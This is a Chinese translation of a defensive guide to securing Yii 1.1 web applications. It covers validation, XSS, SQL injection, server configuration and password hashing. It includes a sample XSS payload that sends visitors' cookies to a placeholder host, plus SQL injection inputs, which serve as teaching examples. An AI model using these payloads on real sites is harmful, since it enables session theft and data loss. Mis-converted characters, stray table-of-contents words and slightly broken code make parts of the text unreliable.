[翻譯]如何用YII寫出安全的WEB應用

前言

雖然本文是基於YII1.1,但其中提到的安全措施適用於多數web項目安全場景,因此翻譯此文,跟你們交流。原文地址php

目錄

安全基本措施... 2 css

驗證與過濾用戶的輸入信息... 2 html

原理... 2前端

客戶端驗證... 2nginx

YII如何防範... 2web

跨站腳本攻擊XSS. 4 ajax

原理... 4sql

YII如何防範... 5數據庫

SQL注入... 7 apache

原理... 7

YII如何防範... 8

跨站請求僞造CSRF. 12

配置WEB服務器... 12

PHP項目一些有用的指令... 15

受權... 16

驗證... 17

經常使用工具... 18

正文

提示:雖然本文內容豐富,但並未囊括全部的安全方面的知識;若是您程序對安全要求至關高,請多多參考相關技術。

安全基本措施

  • 對用戶全部輸入的信息都要驗證與過濾,再進行處理。
  • 對全部輸出到瀏覽器的信息都要過濾
  • 程序要通過debug模式的測試(開發環境下)

以下操做:設置YII_DEBUG爲true,並設置error_reporting(E_ALL);設置後,YII會打印出全部錯誤和警告的信息,出錯的代碼與緣由;

注意,不要忽略任務一個提示,即便一個警告(E_NOTICE)均可能引起安全問題,好比未定義的數組的鍵。

  • 在生產環境 下必定要關閉debug

要保證產品中的提示信息不包含調試敏感信息。

  • 儘可能對用戶輸入的信息都用白名單過濾,而不要用黑名單過濾;
  • 在產品裏部署日誌系統,按期檢查警告與錯誤提示;

通常兩種日誌:YII記錄程序中運行的日誌,web服務器和PHP記錄服務端的日誌。

接下來將詳細闡述。

驗證與過濾用戶的輸入信息

原理

好比,當用戶修改本身檔案中的生日時,後臺應該要確保他輸入的是有效的日期;這不只僅是爲了防止用戶的誤操做,也是爲了確保安全。如,要確保用戶輸入的是正確的時間格式「1951-01-25」,以防止sql注入與跨域攻擊。驗證用戶輸入雖然不是最有效的防範手段,但這是防範措施的第一步。

客戶端驗證

客戶端驗證並不能防範安全隱患,但能使程序與用戶的交互更友好。爲何說客戶端驗證也不能保證安全呢?好比下面的這段HTML代碼:

<input type="hidden" name="id" value="1" />

<input type="text" name="date" size="10" />

<select name="list"><option>1</option><option>2</option></select>

雖然,網頁前端輸出的數據與各類html的input與select控件,但用戶能夠將這控件所有修改爲textarea,而後再發送到後臺。

YII如何防範

YII提供了下面兩種方式處理這種狀況。(在不用YII的狀況下,使用PHP的類型轉換與過濾擴展。)

基於model的驗證

多數時候,用戶輸入的信息會由model來處理,而model是繼承自CFormModel 或者 CActiveRecord 。這兩個類的父類CMode的rules()方法用來定義字段驗證規則。

驗證用戶輸入的信息也能夠寫在CComponent 的行爲和model 的beforeValidate()方法裏。

<?php

// controller裏Action

$model = new Comment;

$model->attributes = $_POST['Comment'];

if ($model->save()) { // 驗證經過後,纔會被保存

$this->redirect(array('view', 'id' => $model->id));

} else {

// 未經過驗證,或保存未成功

}
<?php

// model

class Comment extends CActiveRecord

{

public function rules()

{

return array(

array('parent', 'numerical', 'integerOnly' => true),

array('strangedata', 'customValidateForStrangedata'),//自定義的驗證器

array('description', 'length', 'max' => 255),

);

}

// 繼承父類的beforeValidate(),在驗證以前執行

protected function beforeValidate()

if (!empty($this->description) && substr_count($this->description, '"') % 2 !== 0) {

$this->addError("description", "引號沒有配對");

// return false; // stop validation

}

return parent::beforeValidate();

}

/*自定義的驗證方法

* @return boolean Continue the validation process? */

protected function customValidateForStrangedata($attribute, $params)

{

$this->addError($attribute, "validation failed");

return false;

}

 

在編寫程序的時候,應該重視對用戶輸入信息的驗證,這不只僅是爲了安全,也能保持後臺收集到正確的數據。YII已經爲咱們定義多種的字段的驗證方式,並且本身也還能夠新增驗證器。同時,在不一樣的場景下也可使用不一樣的驗證。好比,某個字段僅須要在修改的時候驗證,而在新增的時候,則不須要驗證。

基於controller驗證

有的用戶輸入信息須要直接在controller裏驗證。當這種狀況的時候,應該使用的PHP的類型轉換。通常都這麼處理數字型的ID。

<?php

// 不安全

$model = Post::model()->findByPk($_GET['id']);

// 安全

$model = Post::model()->findByPk((int) $_GET['id']);

 

若是傳入字段的類型不是數字型,推薦使用model進行驗證。

對上面示例的補充

當遇到上面例子中第一種寫法的時候,YII中model的findByPk()方法會自動轉換ID爲數字型 (下面SQL注入章節會重點介紹)。然而多數狀況下,依靠YII的這種自動處理是不保險的。好比,當惡意用戶輸入這樣一個url:comment/delete?id[]=2\&id[]=1。後臺$_GET[‘ID’]接收到的就是一個數組,若是此ID沒有被驗證就用於其它函數(不只僅 是findByPk)處理,這就存在安全隱患。

跨站腳本攻擊XSS

原理

若是用戶的輸入的信息沒有過濾與驗證,就後臺就直接交此信息輸出到瀏覽器,這可能被惡意用戶利用,從而進行XSS攻擊。好比,用戶輸入JavaScript代碼,而其它用戶又瀏覽了此用戶的信息,則可能形成用戶的信息被竊取。典型案例是盜取用戶的cookie信息。

示例:

<h2> <?php echo $user->name ?>的簡歷</h2>

//未過濾的用戶輸出數據:

<a href="/posts?name=<?php echo $user->login ?>"

title='<?php echo $user->name ?>'>查看個人檔案</a>

 

爲何上面示例有案例隱患呢?若是上例中$user->name是以下所示的代碼:

張三<script>document.write('<img src="http://x.com/save.php?cookie='+getCookie()+'" />');function getCookie(){...}</script>

 

那麼當其它用戶訪問張三的檔案的時候,將會從其它服務器加載一張圖片,而此加載圖片的請求攜帶着訪問者的cookies信息。這就是XSS攻擊基本的原理。

PHP提供htmlspecialchars函數將一些預約義的字符轉(如: &,",’,<,>)換爲 HTML 實體。上面示例中還有超連接,因此htmlspecialchars結合rawurlencode() 和 htmlspecialchars(, ENT_QUOTES)一塊兒使用。

YII如何防範

普通文本

用CHtml::encode()輸出普通文本。示例:

<h2> <?php echo CHtml::encode($user->name) ?>簡歷</h2>

 

CHtml::encode()封裝了htmlspecialchars函數,默認文本編碼是YII應用的編碼;因此若是須要輸出的文本的編碼不是UTF-8,就須要在YII的配置文件(main.php)裏設置charset;

有時須要在CHtml::encode()前,使用PHP的strip_tags()去除HTML/XML標籤。遇到這種狀況,使用strip_tags後,切記要使用CHtml::encode();不要單獨使用strip_tages()。

富文本

若是瀏覽器須要顯示用戶輸入的HMTL代碼,後臺應該在保存用戶輸入數據前過濾。有幾個PHP庫解決這個問題,其中著名的如 Html Purifier 。Yii已經將Html Purifier封裝成CHtmlPurifier。

示例:

<li class="comments">

<?php

$purifier = new CHtmlPurifier();

$purifier->options = array(

'HTML.Allowed' => 'p,a[href],b,i',

);

foreach (Comment::model()->findAll() as $comment) {

// 危險的輸出

//echo "<li>" . $comment->text . "</li>\n";

// 安全的輸出

echo "<li>" . $purifier->purify($comment->text) . "</li>\n";

}

?>

</li>

 

通常使用富文本編輯器(如:TinyMCE,CkEditor)來知足用戶輸入HTML的需求。但Markdown或wiki syntaxt語言是個更好的選擇。

示例:

<div class="comment">

<?php

$md = new CMarkdownParser();

echo "<div>" . $md->transform($comment) . "</div>";

?>

</div>

 

URL

使用rawUrlEncode()轉義網址中的URL部分,urlEncode()轉義網址中的網址中的參數部分。

示例

<script>var a = "http://x.com/<?php echo rawUrlEncode($query) ?>"; </script>

<a href="/search/<?php echo rawUrlEncode($query)) ?>">轉義網址中url部分</a>

<a href="/?param=<?php echo urlEncode($param) ?>">轉義url的參數部分</a>

<a href="<?php echo CHtml::encode($url . "&param=" . urlEncode($param)) ?>">轉義整個網址</a>

 

CHtml::encode()不能單獨在這裏使用,如$query = 'xxx.com?x="N & B"',這樣CHtml::encode()會將’&’,轉義成’&amp’。

CSS

使用Html Purifier處理CSS;(詳見上章富文本的處理)。

JavaScript

使用CJavaScript的靜態方法,對JS變量做轉義輸出;

示例:

<?php

$messages = array("Rock'n roll", 'Say "hello"');

$title = "D'accord";

Yii::app()->clientScript->registerScript('snippet', "

function displayMsg() {

var messages = " . CJavaScript::encode($messages) . ";

var title = '" . CJavaScript::quote($title) . "';

// ...

}

");

 

若是不須要YII轉義JS,可使用js:前綴。以下所示:

<?php

$this->widget(

'zii.widgets.jui.CJuiAutoComplete',

array(

'name' => 'field_name', // 默認會使用CJavaScript::quote 轉義變量

'source' => 'js:function(request, response) { $.ajax({...}) }', // 在代碼前加「js:」前綴

 

SQL注入

原理

簡單的說,當把未通過濾和驗證的數據直接拼裝SQL語句,會存在SQL注入漏洞。

<?php

// 警告,如下是不安全的寫法

Yii::app()->db

->createCommand("DELETE FROM mytable WHERE id = " . $_GET['id'])

->execute();

$comments = Comment::model->findAll("user_id = " . $_GET['id']);

 

上面示例中的第一個sql語句,若是GET參數是」4 or 1=1」,這會致使表中的全部數據被刪除;

第二個sql語句中,若是GET參數是2 UNION SELECT ,會致使數據庫的任意數據都被查詢出來。

YII如何防範

使用YII提供的函數操做

以下例

<?php

$id = intval($_GET['id']);

MyModel::model()->findByPk($id)->delete();

// 使用類型轉換

$comments = Comment::model->findAllByAttributes(array('user_id' => (int)$_GET['id']);

使用YII函數要比純SQL語句安全些;但,對於YII函數來講,使用數組比字符串更安全;以下例:

<?php

//存在sql注入

$comments = Comment::model->findAll("post_id = $postId AND author_id IN (" . join(',', $ids) . ")");

// 安全

$comments = Comment::model->findAllByAttributes(array("post_id" => $postId, "author_id" => $ids));

 

SQL語句預編譯

當必需要使用原生的SQL的時候,好比一個SQL語句有兩個參數,以下所示:

SELECT CONCAT(prefix, title) AS title, author_id, post_id, submit_date

FROM t_comment

WHERE (date > '{$date}' OR date IS NULL) AND title LIKE '%{$text}%'

遇到這種狀況,有如下兩種相對安全的寫法:

  • 給每一個參數加引號(不推薦)
  • 使用預編譯SQL(推薦)

當使用第一種方式的時候,可使用YII的CDbConnection::quoteValue();

好比"date > '{$date}'",能夠寫成 "date > " . Yii::app()->db->quoteValue($date)

數據庫服務器先編譯完傳入的SQL語句,再將接收到的參數插入到SQL語句的佔位符。但,當數據庫服務器不支持預編譯時,PHP就會模擬這個過程,這也可能有SQL注入的隱患(預編譯的詳細原理能夠參考這篇博文)。

在YII中SQL預編譯的過程能夠以下所示的代碼:

<?php
// 佔位符沒有引號
$sql = "SELECT CONCAT(prefix, title) AS title, author_id, post_id, date "
    . "FROM t_comment "
    . "WHERE (date > :date OR date IS NULL) AND title LIKE :text"
 // 第一種寫法
$command = Yii::app()->db->createCommand($sql);
$command->bindParam(":date", $date, PDO::PARAM_STR);
$command->bindParam(":text", "%{$text}%", PDO::PARAM_STR);
$results = $command->execute();
 // 第二種寫法
$command = Yii::app()->db->createCommand($sql);
$results = $command->execute(array(':date' => $date, ':text' => "%{$text}%"));
 

當使用ActiveRecordr的時候用SQL預編譯,語法會更加簡練,以下所示:

<?php$comments = Comment::model->findAllBySql($sql, array(':date' => $date, ':text' => "%{$text}%"));

 

對SQL語句中LIKE的一些補充

在上面的示例中,即便不存在SQL注入隱患,此SQL語句中的like的使用也值得商榷。’%like%’不使用索引的,而’like%’是可使用索引的;因此,若是將’like%’轉換成’%like%’,當like的字段值很大的時候,會嚴重影響效率。

建議當須要使用到’%like%’的時候,儘可能使用其它比較符(<=,>,……)替換。可使用YII的CDbCriteria::compare()和CDbCriteria::addSearchCondition()函數,而簡化操做。

對預編譯SQL中參數佔位符補充

從YII1.1.8起,佔位符再也不用」?」標識,而是使用」:」標識;

對預編譯SQL的效率的補充

預編譯稍長的SQL要比不編譯要稍慢些,這對系統的總體性能影響很是小。但若是同一個SQL運行屢次,預編譯的效率優點就體現出來了。然而,若是使用的PHP模擬預編譯,則跟不編譯SQL沒有區別。

若是預編譯不知足應用的實際需求

雖然預編譯能防止SQL注入,但有些時候由於SQL語句的各個部分都是變量,因此不能使用預編譯。以下所示:

SELECT *

FROM {$mytable}

WHERE {$myfield} LIKE '{$value}%' AND post_date < {$date}

ORDER BY {$myfield}

LIMIT {$mylimit}

遇到這類狀況,通常使用白名單過濾SQL語句的每一個部分。YII提供以下相似的過濾方法:

<?php

if (!Comment::model()->hasAttribute($myfield)) {

die("Error");

}

 

更加經常使用的是使用YII的」 Query Builde」,但不能跟CDbCriteria結合使用。

多數時候,咱們多是經過Model來查詢,可使用find*()類的方法與CDbCriteria一塊兒使用。以下:

<?php

// YII會檢測字段的合法性

$criteria = new CDbCriteria(

array(

'order' => $myfield,

'limit' => $mylimit,

)

);

$criteria->compare($myfield, $value, true); // LIKE % :$value會被轉義

$criteria->compare('post_date', '<:date');

$criteria->params = array(':value' => $value, ':date' => $date);

$comments = Comment::model()->findAll($criteria)

 

YII的GII模塊使用CGridView提供數據。CDataProvider使用CDbCriteria爲CGridView提供數據,因此當使用CGridView的時候,YII會自動過濾與驗證用戶輸入的查詢條件。

一個完整的示例以下:

<?php

// 當不是原生的SQL語句的時候,YII會自動驗證字段的合法性

$criteria = new CDbCriteria();

$criteria->order = $myfield;

$criteria->limit = $mylimit;

$criteria->addSearchCondition($myfield, $value, true); // true ==> LIKE '%...%'

$criteria->addCondition("post_date < :date");

$comments = Comment::model()->findAll($criteria, array(':value' => $value, ':date' => $date));

 

SQL注入的總結

當使用Model進行查詢時,有以下五種方式:

1. CActiveRecord::findByPk() 或者 CActiveRecord::findAllByPk().(推薦)

2. CActiveRecord::findByAttributes() 或者 CActiveRecord::findByAttributes()

3. X::model()->find($criteria, array(':param1' => $value1)) 或者 ->findAll(...)

4. X::model()->find($sql, array(':param1' => $value1)) 或者->findAll(...)

5. X::model()->findBySql($sql, array(':param1' => $value1)) 或者 ->findAll(...)

當不是基於Model查詢時,要使用預編譯,以下所示:

<?php

$r = Yii::app()->db

->createCommand($sql)

->queryAll(array(':param1' => $value1));

 

使用這種方式時,切記要對用戶輸入的進行過濾與驗證。

跨站請求僞造CSRF

須要對數據進行增、刪、改,須要客戶端的發起POST請求。這是一個好習慣,也是REST架構推薦的方式。如此,能夠防止瀏覽器的一些的誤操做而引發數據的變化。可是POST請求並不能防止CSRF,從安全角度來講POST的並無提升安全性。但YII有一套機制能夠防止CSRF,只不過默認並不有開啓。

配置WEB服務器

本章節討論是基於類UNIX系統(Linux,BSD,OSX)上安裝的Apache服務器,PHP做爲Apache的一個模塊運行。其它的環境(如Windows,nginx,PHP-fpm…)配置可能不一樣,但其它原理是同樣的。

DEBUG變量的設置

若是在生產環境中,把YII的YII_DEBUG設置爲’true’,系統的調試信息會被打印到瀏覽器。設想一下,若是用戶發現了系統的輸入字段沒有驗證,那麼用戶發送了可能會發送在表單字段中發送一個數組,這樣會致使PHP函數接收了錯誤的參數類型。若是在debug模式下,YII會打印出詳細的調試信息。

不方便的是,YII_DEBUG是在YII應用的index.php中設置。因此,這個變量須要在開發環境、測試環境和生產環境中設置成不一樣的值。有一個解決方案是使用版本控制器設置,但這樣很不方便。

推薦的方式是重寫index.php,以便讀取debug的配置。能夠有以下兩種方式:

  • Index.php讀取配置文件裏的debug變量。
  • 從WEB服務器上讀取debug變量。

Apache中以下設置環境變量:

SetEnv YII_ENV testing

這個變量能夠在配置文件或者.htaccess中設置。PHP程序能夠經過$_SERVER[‘YII_ENV’]讀取YII_ENV變量,若是沒有設置,默認爲生產環境。

YII應用須要注意的

YII框架所在的目錄不該該放在WEB服務器的根目錄裏,要確保用戶經過瀏覽器不能訪問框架的文件,如’yiilite.php’。

YII應用中的三個目錄:’assets’,’protected/data’,’protected/runtime’;web服務器須要對這三個目錄的權限。除此以外的全部目錄,web服務器應該只有的權限。

即便如此,黑客有可能建立或修改這三個目錄的文件。特別是’assets’目錄是可寫的,又是能夠直接經過HTTP請求訪問。所以,’assets’目錄裏的PHP文件只能被當成文本類文件,不能被解析。

YII的應用默認提供了.htaccess文件用來防止’protected/’和’theme/class/views/’被瀏覽器直接訪問。若是在Apache裏配置,會更安全、更高效。下面示例瞭如何禁止運行’assets’文件夾裏的PHP文件。

[apache]

# 示例:配置YII應用

Alias /web/path/for/myapp "/home/myapp/www"

<Directory "/home/myapp/www">

AllowOverride None

</Directory>

<Directory "/home/myapp/www/protected">

Deny from All

</Directory>

<Directory "/home/myapp/www/assets">

#關閉PHP解析引擎

php_admin_flag engine off

Options -Indexes

</Directory>

 

下面示例:YII應用在虛擬機中設置:

[apache]

# Example config for Yii-myapp as an Apache VirtualHost

# Please set the paths and the host name to their right values

<VirtualHost *:80>

ServerName myapp.com

DocumentRootAlias /home/myapp/www

ErrorLog /var/log/apache2/myapp-error.log

CustomLog /var/log/apache2/myapp-access.log common

<Directory "/home/myapp/www">

Options +FollowSymLinks

# 從PHP5.4起已經被移除下面兩個屬性

php_flag register_globals Off

php_flag gpc_magic_quotes Off

# 禁止 .htaccess 重寫

AllowOverride None

#重寫URL

<IfModule mod_rewrite.c>

# 如下配置是隱藏URL中的index.php

# 須要配置YII的 urlManager.showScriptName = false

IndexIgnore */*

RewriteEngine on

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-d

RewriteRule . index.php

</IfModule>

</Directory>

# 禁止經過瀏覽器訪問YII應用 的protected目錄

<Directory "/home/myapp/www/protected">

Deny from All

</Directory>

# 保護YII應用中沒有PHP腳本的目錄

<DirectoryMatch "/home/myapp/www/(assets|css|images|js)$">

# 禁止執行PHP腳本

php_admin_flag engine off

# 禁止瀏覽目錄下的文件目錄

Options -Indexes

</DirectoryMatch>

</VirtualHost>

 

PHP項目一些有用的指令

指令

說明

allow_url_include

關閉

register_globals

關閉

magic_quotes_gpc

關閉,由於YII應用忽略此函數的做用

open_basedir

謹慎使用

display_errors

在生產環境下關閉

error_reporting

至少要報告E_ERROR。官方文檔

這些指令能夠在php.ini中配置。若是appache設置AllowOverride Options,那麼在.htaccess中能夠以下所示配置:

[apache]

# .htaccess 文件

php_flag display_errors off

php_value error_reporting -1

 

若是不容許在.htaccess文件和ini_set()中改變php.ini中配置的變量,則能夠在appache的配置文件(如:httpd.conf)使用php_admin_flag指定。

[apache]

# Apache 配置文件

<Directory "/var/www/myapp">

php_admin_value open_basedir /var/www/myapp/:/tmp/

</Directory>

 

注意:SSL不在本文討論的範圍內。

受權

受權是保證用戶只能訪問權限內的資源,這個就說來話長了。不過,YII很方便的爲咱們提供了些類來處理受權問題。詳情能夠訪問詳情說明

其它一些資源:

驗證

密碼強度

爲了防止弱密碼的出現,咱們能夠本身寫檢驗規則,也可使用現成的YII擴展epasswordstrength

下面示例:自定義密碼強度驗證

<?php

class User extends CActiveRecord

{

public function rules()

{

return array(

array('password', 'checkPasswordStrength'),

);

}

protected function checkPasswordStrength($attribute, $params)

{

$password = $this->$attribute;

$valid = true;

$valid = $valid && preg_match('/[0-9]/', $password); // 含數字

$valid = $valid && preg_match('/\W/', $password); // 含其它字符

// ... 其它驗證規則 ...

$valid = $valid && (strlen($password) > 7); // 最小長度

if ($valid) {

return true;

} else {

$this->addError($attribute, "密碼格式不符合要求");

return false;

}

}

 

也能夠先在客戶端用JS對密碼進行驗證,用戶能夠馬上知道輸入的密碼是否符合要求。但不要忘記在後端也要用PHP進行驗證。客戶端的驗證的YII擴展estrongpassword

密碼加密

本文只討論在常規應用應用服務器中的密碼驗證;其它服務不在討論之列,如LDAP, SSO, OpenID。

對於用戶的密碼不能使用明文存儲,須要加密存儲。一個方便的方法是使用 PHPass。以下示例:

<?php

// autoload "protected/lib/PasswordHash.php"

Yii::import('application.lib.PasswordHash');

class User extends CActiveRecord

{

public function validatePassword($password) // 用戶輸入$password

{

// 

$hasher = new PasswordHash(8, FALSE);

return $hasher->checkPassword($password, $this->password);

}

public function beforeSave()

{

// 用密文替換明文

if (isset($this->password)) {

$hasher = new PasswordHash(8, FALSE);

$this->password = $hasher->HashPassword($this->password);

}

return parent::beforeSave();

}

 

加密函數能夠本身寫,但PHPass很安全和成熟。其做者開發過密碼密碼破解軟件john the ripper。

經常使用工具

一些經常使用用的安全檢測工具。

相關文章
相關標籤/搜索